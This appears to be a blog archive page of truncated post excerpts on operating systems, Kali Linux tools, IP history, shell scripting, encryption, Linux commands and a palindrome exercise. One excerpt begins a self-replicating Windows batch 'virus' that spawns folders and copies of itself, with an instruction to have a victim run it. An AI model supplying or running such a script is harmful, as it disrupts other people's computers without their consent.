After the basics of what & why of O.S. lets gaze at its construction. For efficient performance & implementation of different functions & services of operating system, it is divided into various architectural configurations. Simple Structures : DOS & original UNIX OS did not have well-defined structure and is written without  the benefits of modern […]

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Kali Linux is loaded with many tools for hacking and exploitation. Discussing here the basic tools which are used generally for network penetration. >>Wireshark : This is sniffer or analyzer application which is used to capture and browse contents of network frames. It can be used to reconstruct TCP/IP streams. >>Kismet : It is an […]

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First internet connection was established in 1969 which was advancement of computer network by ARPA commissioned in 1968. Different protocols were developed with course of time. Between 1977 and 1979 IPv 0-3 were used. IPv 4 came on front in 1983 and in 1992 work began on IP next generation (IPng) which became IPv6. IPv6 […]

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Features and benefits of using shell scripts: *Quick prototyping and no need to compile *Create your own new commands *Combine long and repetitive sequences of commands into one single command *Automate task and reduce risk of errors Shell script commands can be divided into three categories : Compiled applications like rm, ls Built-in bash commands […]

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Viruses today are not just designed to cause damage to your data and system but also to steal some of your sensitive information, hence it is very important today that you somehow protect your data in a manner, such that if in case it gets stolen, it is still not in a usable format to […]

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Decoding the encrypted data,sounds so interesting.One such way to decode is as follows: Consider a 2-D array of numbers 1 2 3 4                  ———-> 8 7 6 5            :    <———- 9 10 11 12         ———–>   equating […]

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It’s well known that console text editors promote a working style that promote you doing lots of things deterministically in constant time. For this reason it is necessary to know some basic commands of Linux. For finding present work directory the command is >pwd . When it returns “/root” it means we are in top […]

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Copy these codes in a text editor and then save it by the name virus and extension .bat, now let the victim run this code on his pc to see the Virus in action. 1. @echo off set /A xcount = 0 :virus set /A xcount+=1 set /A var= %RANDOM% md %var% start Virus echo […]

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Given an integer N, check if it is a palindrome or not. If it is not a palindrome, print NO. If it is a palindrome, print YES. If it is an even palindrome, print the ratio of first half to second half, up to the precision of 2 decimal places. If it is an odd […]

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Small is beautiful !! This is not the only reason to prefer Unix over other OS. For developing a real Hacker Attitude there are many things than trying tweaks and tricks . When Linux apps used for exploitation like Zenmap, and Metasploit are developed in Linux and then ported over to Windows, they often lose […]

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